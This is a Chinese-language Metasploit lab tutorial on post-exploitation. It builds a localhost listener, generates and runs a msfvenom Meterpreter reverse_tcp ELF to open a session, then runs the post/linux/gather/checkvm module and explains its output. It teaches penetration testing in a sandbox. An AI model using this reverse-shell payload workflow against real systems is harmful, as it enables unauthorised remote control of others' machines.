引言
后渗透(Post-exploitation)是渗透测试中,攻击者获得目标系统初始访问权限后所处的阶段。在此阶段,目标是收集更多信息、提升权限、横向移动到其他系统以及维持持久访问。Metasploit Framework 提供了大量的后渗透模块来自动化这些任务。
在本实验(lab)中,你将学习使用 Metasploit 中后渗透模块的基本工作流程。你将首先建立一个 Meterpreter 会话,然后搜索合适的模块,配置它,并针对活动会话运行它以收集目标系统的信息。我们将以 post/linux/gather/checkvm 模块为例,该模块尝试判断被攻陷的主机是否为虚拟机。
拥有一个活动的 Meterpreter 会话
在此步骤中,你将在 Metasploit 中设置一个监听器,然后执行一个 payload 来模拟一个被攻陷的主机回连,从而创建一个活动的 Meterpreter 会话。此会话是运行任何后渗透模块的前提条件。
首先,让我们启动 Metasploit Framework 控制台。打开一个终端并输入:
msfconsole -q
-q 标志使启动横幅(banner)保持静默。一旦你进入 msf6 > 提示符,我们将配置一个监听器。我们将使用一个通用的 handler 和一个 Linux Meterpreter payload。
在 msfconsole 提示符下输入以下命令:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
现在,使用 exploit -j 将监听器作为后台作业运行:
exploit -j
你应该会看到一个确认信息,表明 handler 已启动。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
现在,打开一个新终端(你可以使用终端标签栏中的 + 按钮)。在这个新终端中,我们将生成并运行连接回我们监听器的 payload。我们将使用 msfvenom 来创建一个 Linux 可执行文件。
在第二个终端中,执行此命令来创建 payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
此命令将在你的 ~/project 目录中创建一个名为 shell.elf 的 ELF(Executable and Linkable Format)文件。
接下来,使文件可执行:
chmod +x ~/project/shell.elf
最后,运行 payload 以建立会话:
./shell.elf
现在,切换回你的第一个终端(即带有 msfconsole 的那个)。你应该会看到一条消息,表明已创建了一个新会话。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
为了确认,你可以使用 sessions 命令列出所有活动的会话。
sessions
你将看到列出的活动会话,这意味着你已准备好进行下一步。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
后台化会话并使用 search 命令查找 post 模块
在此步骤中,你将学习如何与新会话进行交互,然后返回到主 msfconsole 提示符以搜索后渗透模块。
在执行 sessions 命令后,你将处于 msf6 > 提示符下。要与会话进行交互,请使用 sessions -i 命令,后跟会话 ID。
sessions -i 1
你的提示符将变为 meterpreter >,表明你现在已进入被攻陷系统的会话。
[*] Starting interaction with 1...
meterpreter >
要运行后渗透模块,你需要处于主 msf6 > 提示符下。要使 Meterpreter 会话保持活动状态但返回到主控制台,请使用 background 命令。
background
你将看到一条确认消息,表明会话正在后台运行,并且你的提示符将返回到 msf6 >。
[*] Backgrounding session 1...
msf6 >
现在,你可以使用 search 命令搜索后渗透模块。此命令功能强大,可以按类型、平台、名称等过滤模块。要查找检查虚拟机的模块,你可以搜索关键词 checkvm。
search checkvm
Metasploit 将列出所有匹配该关键词的模块。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
这表明我们有适用于 Linux 和 Windows 的模块。由于我们的会话是在 Linux 目标上,我们将使用 post/linux/gather/checkvm。
选择一个后渗透模块,例如 post/linux/gather/checkvm
在此步骤中,你将选择在上一步中找到的后渗透模块,并查看其配置选项。
要在 Metasploit 中选择或“使用”一个模块,你需要使用 use 命令,后跟模块的完整名称。根据我们的搜索结果,我们将使用 post/linux/gather/checkvm。
use post/linux/gather/checkvm
你的提示符将发生变化,以反映当前选定的模块。
msf6 post(linux/gather/checkvm) >
一旦选定了一个模块,你应该始终检查其选项,以了解需要配置的内容。show options 命令将显示当前模块的所有可用设置。
show options
输出将显示模块的选项、它们的当前设置以及是否是必需的。
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
正如你所见,SESSION 选项是必需的,但它还没有值。此选项告诉 Metasploit 要在你的哪个活动会话上运行该模块。
将 SESSION 选项设置为你的活动会话 ID
在此步骤中,你将为后渗透模块配置必需的 SESSION 选项。
从前面的步骤中,我们知道我们的活动会话 ID 是 1。我们需要将此 ID 提供给模块。set 命令用于配置模块选项。
要将 SESSION 选项设置为 1,请运行以下命令:
set SESSION 1
你应该会看到一个确认消息,表明该值已设置。
SESSION => 1
为了确保无误,你可以再次运行 show options 来验证 SESSION 选项是否已正确配置。
show options
输出现在将显示 1 作为 SESSION 的当前设置。
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
设置好 SESSION 选项后,模块现在已准备好执行。
运行模块并分析结果
在此步骤中,你将执行已配置的后渗透模块并分析其输出。
在选定模块并设置好所有必需选项后,你现在可以执行它了。在 Metasploit 中,你可以使用 run 或 exploit 命令来执行模块。对于后渗透模块,通常使用 run。
run
模块现在将在目标会话(Session 1)上执行。它将执行检查并将其结果打印到你的控制台。LabEx 环境运行在虚拟化环境中,因此你应该会看到一个积极的结果。
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
结果分析:
输出清楚地表明,目标系统被检测为 Xen 和 KVM/QEMU 虚拟机。这对渗透测试人员来说是宝贵的情报。了解目标是虚拟化的,可能会影响未来的行动,例如寻找虚拟机逃逸漏洞或理解底层基础设施。
你现在已成功运行了你的第一个后渗透模块!
总结
在本实验中,你学习了在 Metasploit Framework 中使用后渗透模块的基本工作流程。你成功地完成了从建立立足点到收集目标系统情报的整个过程。
你已学会如何:
- 创建一个监听器并建立一个 Meterpreter 会话。
- 将活动会话置于后台,以返回到主
msfconsole提示符。 - 使用
search命令查找相关的后渗透模块。 - 使用
use命令选择模块,并使用show options查看其设置。 - 通过设置必需的
SESSION选项来配置模块。 - 使用
run命令执行模块并分析其输出。
这项基本技能是更高级的后渗透活动(如权限提升、凭证收集和跨网络横向移动)的基石。


